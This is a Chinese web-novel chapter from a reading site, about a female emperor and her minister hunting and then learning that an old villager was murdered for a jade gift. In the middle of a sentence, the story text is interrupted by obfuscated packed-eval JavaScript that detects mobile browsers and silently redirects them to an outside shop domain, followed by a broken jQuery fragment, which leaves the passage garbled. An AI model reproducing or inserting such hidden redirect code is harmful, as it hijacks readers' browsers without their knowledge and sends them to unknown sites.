文趣网 > 其他小说 > 权臣宰相要上位 > 24. 猎苑骑射 惊闻噩耗
    天高云阔,洗尽尘嚣。

    开阔的草甸上秋草染成一片金褐,一只通体灰色的肥兔在草丛中露出尖长的耳朵,它蹦蹦跳跳,左嗅右闻,嘴巴不停地咀嚼努动着,黑石子般圆溜溜的眼睛呆滞地盯着前方,丝毫没有感触到后方即将到来的危险。

    “铮!”

    一只红尾羽箭破空而出,却是射到了离它仅有一公分不到的枯树根上,兔儿受惊,长耳耷拉,以极快的速度在草丛中奔跑逃亡,然而仅是眨眼间,又一只红尾羽箭射来,穿透它的脖颈,将它死死定在地上。

    “中了!”

    刘月撇嘴,看了眼身侧高头大马上利落收弓的萧衡,方才第一箭是她射的,有风干扰,她将箭射偏了,正要再射第二箭,萧衡竟已先出手将兔儿射死。

    随侍远远过来,将已咽气的兔儿拾起。

    刘月双腿一夹身下马腹,马儿得令,慢悠悠靠近萧衡,与萧衡身下威风凛凛的战马“破虏”并肩骑行。

    “再让我一箭,我定能射中它。”

    刘月拨弄着手里的弓弦,语气略带傲娇与不满。

    “再晚一秒,它就要跑进树洞里了。”

    萧衡拿着角弓,指了指前方,那里有一棵枝干粗大的老榆树。

    刘月抬眼望去,果见老榆树靠近地面的树干处有一裂开的缝隙,不大,亦被杂草遮住了大半,但以兔子的身形钻进去还是轻而易举。

    “你是如何看到的?”

    刘月讶声问道,方才他们距离那棵老榆树至少五十步开外,况且那个树洞还较为隐秘,如今他俩骑着骏马离得近些了,还是萧衡特意点拨,她细细留心之下,才得见那方杂草丛生之处竟然有个树洞。

    “不是我看到的,是破虏提醒我的。”

    萧衡眼底浮着平静的笑意,手掌抚过破虏乌黑润泽的鬃毛,这匹随他无数次浴血沙场的战马,受到主人的抚摸,原本桀骜的神色顺间柔和下来,硕大的头颅微微低垂,轻轻刮蹭着主人的掌心。

    刘月打量着破虏,这匹战马通体墨黑,双目炯炯有神,身躯高大雄健,四肢筋腱紧绷,腿部布满陈旧的浅疤,无一不宣示着昔年跟随主人在战场上冲阵厮杀的过往勋章。

    “破虏跟着你多久了?”刘月兴致盎然问他。

    “十四年。”萧衡似乎听见了什么动静,目光凛然地看向远方,声音低沉,“他是我亲手接生的,那时我还在国子监读书……”

    刘月再一次讶然,垂眸去看破虏,心里想的却是萧衡在国子监读书时的容貌姿态。

    那时他也才十四五岁,管家说全玉京城的世家小姐都曾为他疯狂,刘月试图在心里捏了个少年版的萧衡模样,冠盖满京华的玉面公子,却总冷着张帅脸拒人于千里之外,将无数情意都挡在了门外。

    破虏察觉到了刘月的目光,头颅高高扬起,瞳色深而黝黑,鼻翼微微翕动,似乎在努力回应着她。

    刘月眉眼弯弯,目光落在破虏脖颈之上一道显眼的箭伤旧痕,“那你们之间的羁绊还挺深。”

    “嘘——”

    萧衡忽而在唇间竖起食指,鹰眸微眯,看向前方。

    刘月顺着他目光望过去,不觉屏住了呼吸,大约七十步开外的草丛中,有一只漂亮灵动的梅花鹿,正背对着他们气定神闲地吃着野草。

    梅花鹿的嗅觉极其灵敏,但此时正是顺风,他们身上的味道吹不到梅花鹿的鼻腔之内,故而它还没发觉危险即将到来。

    刘月二话不说,摆好姿势,拉弓架箭,眸光凝成一团,紧紧盯着远处的目标,其实这个距离于她而言射中目标尚有些艰难,况且她即将飞出去的羽箭还是处于逆风的状态下。

    但是没关系,有萧衡在旁,他的补箭,百发百中。

    空气中荡着草木清新的气息,秋风掠过树梢,带起片片树叶飞扬,再于空中旋转着舞过最后一曲,最终落于尘埃,腐朽大地。

    刘月陡然放出手中箭矢,却是朝天而放,箭矢落地,梅花鹿听见动静,受惊而逃,转瞬便没了踪影。

    “它怀孕了。”

    刘月耸肩,回身对萧衡无奈道。

    萧衡看了一眼梅花鹿逃亡的方向,又看着刘月,薄唇轻启:“陛下总是这般心软。”

    “心软就是善良,这又不是什么缺点。”刘月随口答道,目光四处逡巡,她还在寻找猎物,今日运气不好,太阳快下山了,竟只猎到了一只野兔。

    “于常人而言当然不是缺点,可陛下是天子,为人君者——”

    “停!”

    刘月收回目光,打断了萧衡的言语施法。

    她抱胸挑眉:“你是不是又要说我妇人之仁?”

    没给萧衡开口的机会,刘月赫然哼笑:“仁君总比暴君好吧?再说......”她圆亮莹润的清眸流转,“你是大曜最坚实的墙壁,有你在我身后,我大可放肆心软仁善。”

    闻言萧衡垂下的眼睫动了动,似乎若有所思,却什么也没说出口。

    刘月远眺,天边最后一抹夕晖即将消逝,夜幕不久就会降临,她突然觉得甚是无趣,恹恹收弓,望了眼萧衡:“咱们走吧。”

    萧衡点了点头。

    回程的路上,再次经过上次萧衡给她烤兔子的溪流旁,刘月心下一动,拉缰停驻。

    萧衡亦跟着停下,略微犹疑道:“还想在这里烤兔子吃?”

    溪水潺潺流动,水中倒映着残月的弧影,波光粼粼,刘月“噗嗤”一声捂嘴轻笑了起来,睨向萧衡,揶揄道:“在萧相心里朕整天只会研究吃喝吗?我是想到了上次碰到的那个老人,她孤家寡人又腿上负伤,也不知现下如何了。”

    刘月心想,临走时她撂下的那块玉应该能帮助老人大大改善生活。

    “与其想着,不如去看一眼,反正此地离她居所不远。”萧衡淡淡应道,继而一勒缰绳,掉转马头,双眼微眯,往胡芦村的方向望去。

    “也好。”刘月笑笑,“顺道去讨口水喝。”

    二人纵马,往胡芦村而去。

    凭着记忆寻得老人居住的小木屋,二人看见的却是另外一番景象。

    木屋大门紧闭,并被大剌剌地贴上了两条相交错横的封条,周边的两座木屋亦是如

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905419|213009||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    此。

    刘月与萧衡对视一眼,都在彼此的目光中看见了不妙的感觉。

    “怎么回事?”刘月心中莫名一紧,翻身下马走向木屋,想去一探究竟。

    萧衡立刻跟着下马,却是一把扯住了她的衣袖,对她摇了摇头,蹙眉道:“不用去看了,老人已经不在了。”

    刘月:“你怎知道?”

    萧衡指了指木屋上的封条,“这是官府贴的,这种封条一旦贴在门上,就昭示着这座屋子已经没有了主人。”

    刘月怔了怔,虽然和老人只有一面之缘,二人也毫无干系,但听闻老人去世她还是一阵感伤,她不解地喃喃:“按理说她的腿伤只是普通的跌打扭伤,怎会危及性命,况且她曾被困林中一天一夜也没有吃喝,都不曾有事,怎么我们将她送回家里才两天而已,人就没了......”

    萧衡看了看旁边也被贴了封条的两座屋子,默不作声。

    刘月满心惆怅,盯着院子里的草垛发呆,旁边是用木头和渔网简陋围成的小型鸡圈,上次她来时鸡圈里还有一只肥硕的母鸡,现在鸡圈里没有丝毫动静,唯有乱糟糟的杂草东倒西歪。

    远处传来声音,慢慢靠近,是一中年壮汉驾着牛车缓缓驶来。

    田道狭窄,刘月与萧衡正准备侧身避让,壮汉晃晃悠悠,手中牛鞭一扯,却是于他们面前停了下来。

    “看你们衣着不凡,又在这停驻良久,可是这家从城里来的亲戚?”壮汉停下牛车后,斜眼看了看二人,目光又悲悯地望了望他们身后的小木屋。

    他面容和善,说话又带着股浑然天成的质朴,料想是这胡芦村的一名村民。

    “是。”刘月忙点了点头,客气问壮汉道:“老大哥,我们许久没回来过了,请问这家主人如何了?”

    壮汉扬着鼻子轻哼一声,“你们这算哪门子亲戚,在城里混发达了,把杨婶一个人留在村里不管不问,才叫贼人有机可乘,谋财害命,唉......”

    “谋财害命......?”

    刘月听得此话如遭雷击,当场愣在原地,壮汉口中的杨婶应该是他们前两日救的老人家,她竟是被歹人害死......

    “是啊!”壮汉长叹了口气,“可怜了杨婶,辛苦操劳一辈子,好不容易养大的两个儿子又战死沙场,如今一条腿都要踏进棺材里了,竟然还不得善终,活活被人勒死......”

    萧衡眉头皱得愈发深重,沉声问道:“杨婶这般条件家中能有什么财产让人觊觎,以至于被谋财害命,又是谁这般丧心病狂为了夺财竟将老人活活勒死?”

    壮汉又是一声长叹:“据说杨婶不知从哪得了一块价值连城的玉佩,被隔壁的张屠夫知晓,便动了歪心思,唉......要说这钱财是好,却总有人为此蒙蔽了良心,原本杨婶一个人居住行动不便,这邻里邻外的,张屠夫有时还会上门帮扶杨婶,没想到啊没想到......”

    壮汉摇着头,拽着他的牛鞭满嘴惋惜地离去了。

    萧衡侧眸去看刘月,皎皎月色下,她的脸没有丝毫血色,白的不像活人。